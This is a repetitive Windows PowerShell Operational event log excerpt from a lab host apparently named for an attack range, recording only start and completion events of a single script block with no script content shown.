Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467702
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467701
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467700
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467699
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467698
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467697
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467696
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467695
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467694
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467693
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467692
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467691
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467690
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467689
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467688
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467687
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467686
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467685
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467684
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467683
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467682
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467681
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467680
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467679
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467678
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467677
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467676
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467675
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467674
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467673
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467672
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467671
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467670
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467669
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467668
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467667
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467666
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467665
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467664
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467663
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467662
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467661
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467660
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467659
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467658
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467657
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467656
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467655
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467654
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467653
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467652
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467651
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467650
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467649
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467648
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
